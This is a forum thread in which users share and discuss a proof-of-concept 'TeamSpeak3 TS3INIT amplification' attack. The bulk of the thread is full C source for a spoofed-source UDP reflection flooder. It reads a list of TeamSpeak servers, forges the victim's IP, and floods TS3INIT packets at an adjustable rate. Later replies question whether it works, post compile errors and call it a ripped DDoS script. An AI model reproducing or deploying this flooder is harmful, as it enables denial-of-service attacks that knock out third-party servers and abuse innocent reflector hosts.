TeamSpeak3 Server TS3INIT Amplification

Gremsonkowy

Member
Mar 4, 2016
1
5
50
Hello, i presents first version of TeamSpeak3 Amplification now this project is in PoC status becouse results is not perfect (need more work on it) but probably if we change something this project can generate more responses becouse (TeamSpeak3 dont have software limits for this packets but some hosts have this ofc now i test it using only 1 static packet :D ofc we can use some random characters in payload).

So TeamSpeak3 Servers response on 1 TS3INIT packet witchout verification and witchout any pps limits.

Script:


If any people can help me with work on it pm on forum.
 

Asphyxia

Owner
Administrator
Apr 25, 2015
1,845
2
2,199
327
If any people can help me with work on it pm on forum.
Sounds like we need to rebuild a TeamSpeak security team. In the event TeamSpeak 5 really takes off this will indefinitely happen but we might as well start now. Awesome start on this PoC and I look forward to seeing more developments.

I will see about regathering development and security talent to teamwork on issues like this. If anyone wants to join our newfound efforts, either contact @Gremsonkowy or email [email protected]
 

Asphyxia

Owner
Administrator
Apr 25, 2015
1,845
2
2,199
327
Link is not working. :(
It is probably because the open source Hastebin site automatically deletes pastes to save database space. I am guessing @Gremsonkowy will mirror to another more permanent location.

Use only for educational and or informational purposes only.

Also I will mirror I guess:
Code:
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
    struct sockaddr_in data;
    struct list *next;
    struct list *prev;
};
struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++)
    {
    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
}
uint32_t rand_cmwc(void)
{
    uint64_t t, a = 18782LL;
    static uint32_t i = 4095;
    uint32_t x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c) {
    x++;
    c++;
    }
    return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
    unsigned long sum = 0;
    for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 38;
    iph->id = htonl(54321);
    iph->frag_off = 0;
    iph->ttl = MAXTTL;
    iph->protocol = IPPROTO_UDP;
    iph->check = 0;
    iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
    udph->source = htons(9987);
    udph->dest = htons(9987);
    udph->check = 0;
    memcpy((void *)udph + sizeof(struct udphdr), "\x54\x53\x33\x49\x4e\x49\x54\x31\x00\x65\x00\x00\x88\x0a\xd0\xfd\xd6\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd4\x45\x96\x96", 38);
    udph->len=htons(sizeof(struct udphdr) + 38);
}
void *flood(void *par1)
{
    struct thread_data *td = (struct thread_data *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
    struct sockaddr_in sin = td->sin;
    struct  list *list_node = td->list_node;
    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if(s < 0){
    fprintf(stderr, "Could not open raw socket.\n");
    exit(-1);
    }
    init_rand(time(NULL));
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_udp_header(udph);
    udph->source = htons(rand() % 65535 - 1026);
    iph->saddr = sin.sin_addr.s_addr;
    iph->daddr = list_node->data.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
    fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
    exit(-1);
    }
    init_rand(time(NULL));
    register unsigned int i;
    i = 0;
    while(1){
        sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
        list_node = list_node->next;
        iph->daddr = list_node->data.sin_addr.s_addr;
        udph->dest = list_node->data.sin_port;
        udph->source = htons(rand() % 65535 - 1026);
        iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
      
        pps++;
        if(i >= limiter)
        {
            i = 0;
            usleep(sleeptime);
        }
        i++;
    }
}
int main(int argc, char *argv[ ])
{
    if(argc < 6){
    fprintf(stderr, "Invalid parameters!\n");
    fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n | By Gremsonkowy", argv[0]);
        exit(-1);
    }
    srand(time(NULL));
    int i = 0;
    head = NULL;
    fprintf(stdout, "Setting up sockets...\n");
    int max_len = 128;
    char *buffer = (char *) malloc(max_len);
    buffer = memset(buffer, 0x00, max_len);
    int num_threads = atoi(argv[4]);
    int maxpps = atoi(argv[5]);
    limiter = 0;
    pps = 0;
    int multiplier = 20;
    FILE *list_fd = fopen(argv[3],  "r");
    while (fgets(buffer, max_len, list_fd) != NULL) {
        if ((buffer[strlen(buffer) - 1] == '\n') ||
                (buffer[strlen(buffer) - 1] == '\r')) {
            buffer[strlen(buffer) - 1] = 0x00;
            if(head == NULL)
            {
                head = (struct list *)malloc(sizeof(struct list));
                bzero(&head->data, sizeof(head->data));
                head->data.sin_addr.s_addr=inet_addr(buffer);
                head->next = head;
                head->prev = head;
            } else {
                struct list *new_node = (struct list *)malloc(sizeof(struct list));
                memset(new_node, 0x00, sizeof(struct list));
                new_node->data.sin_addr.s_addr=inet_addr(buffer);
                new_node->prev = head;
                new_node->next = head->next;
                head->next = new_node;
            }
            i++;
        } else {
            continue;
        }
    }
    struct list *current = head->next;
    pthread_t thread[num_threads];
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(argv[1]);
    struct thread_data td[num_threads];
    for(i = 0;i<num_threads;i++){
        td[i].thread_id = i;
        td[i].sin= sin;
        td[i].list_node = current;
        pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
    }
    fprintf(stdout, "Starting flood...\n");
    for(i = 0;i<(atoi(argv[6])*multiplier);i++)
    {
        usleep((1000/multiplier)*1000);
        if((pps*multiplier) > maxpps)
        {
            if(1 > limiter)
            {
                sleeptime+=100;
            } else {
                limiter--;
            }
        } else {
            limiter++;
            if(sleeptime > 25)
            {
                sleeptime-=25;
            } else {
                sleeptime = 0;
            }
        }
        pps = 0;
    }
    return 0;
}
 
Last edited:

Harrasan

Restricted
Jul 18, 2015
44
26
50
Sounds like we need to rebuild a TeamSpeak security team. In the event TeamSpeak 5 really takes off this will indefinitely happen but we might as well start now. Awesome start on this PoC and I look forward to seeing more developments.
What happened to your old security team? Did mom call them for lunch?

This is not an amplification attack at all. It's not even a real attack unless you want to flood your own IP. I was expecting something that actually works.
 

kalle

high minded
Contributor
Oct 28, 2015
411
253
178
What happened to your old security team? Did mom call them for lunch?

This is not an amplification attack at all. It's not even a real attack unless you want to flood your own IP. I was expecting something that actually works.
Dont shit on other peoples work, even if its not working. Instead make something and release it open source, or help this guy by fixing this script.
 

Asphyxia

Owner
Administrator
Apr 25, 2015
1,845
2
2,199
327
What happened to your old security team? Did mom call them for lunch?
I did not test this PoC, this is a PoC and some PoC works and some does not.

Someone making their own DiY fireworks, some launch and some do not. No need to trash on someone.

Let's see you code something elite. I see you toss a lot of smack talk around randomly and you contribute jack sh**.

It does appear to be a rip though: https://github.com/TheChiefCoC/DDoS-Scripts-1/blob/master/Chargen.c

tbh I didn't even glance at the code, other than checking to make sure there was no apparent malicious execution for example. Ah well.. stuff happens heh.
 
Last edited:

CoC-Eu

Active Member
Jan 7, 2016
65
45
94
Code:
fl00d.cpp: In function ‘void setup_udp_header(udphdr*)’:
fl00d.cpp:79:47: warning: pointer of type ‘void *’ used in arithmetic [-Wpointer-arith]
     memcpy((void *)udph + sizeof(struct udphdr), "\x54\x53\x33\x49\x4e\x49\x54\x31\x00\x65\x00\x00\x88\x0a\xd0\xfd\xd6\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd4\x45\x96\x96", 38);
                                               ^
fl00d.cpp: In function ‘void* flood(void*)’:
fl00d.cpp:87:72: warning: pointer of type ‘void *’ used in arithmetic [-Wpointer-arith]
     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
                                                                        ^
fl00d.cpp:87:51: error: invalid conversion from ‘void*’ to ‘udphdr*’ [-fpermissive]
     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
                                                   ^
fl00d.cpp: In function ‘int main(int, char**)’:
fl00d.cpp:143:42: error: invalid conversion from ‘void*’ to ‘char*’ [-fpermissive]
     buffer = memset(buffer, 0x00, max_len);

Not working!
 

MaGicSuR

Member
Apr 27, 2016
5
2
35
Using AMP is pretty useless in this times.
Most of ISP block AMP attacks.
However, using valid checksum and and using proper pps might down any ts3. The problem is that TS3INIT is also limited by most popular ts3 hosting providers like Hosteam.
 

Kaptan647

Retired Staff
Contributor
Apr 25, 2015
314
395
112

XARON

get over here!
Restricted
Nov 24, 2016
162
161
118
"time>\n | By Gremsonkowy", argv[0]);" Yes, you're real coder!! XDD
 

NatureNMoon

Restricted
Jul 8, 2016
70
124
86
It is a piece of cake to prevent/mitigate this attack :) but this is a huge cyber attack for many people providing TeamSpeak3 servers(vds,vps etc..)
 
Top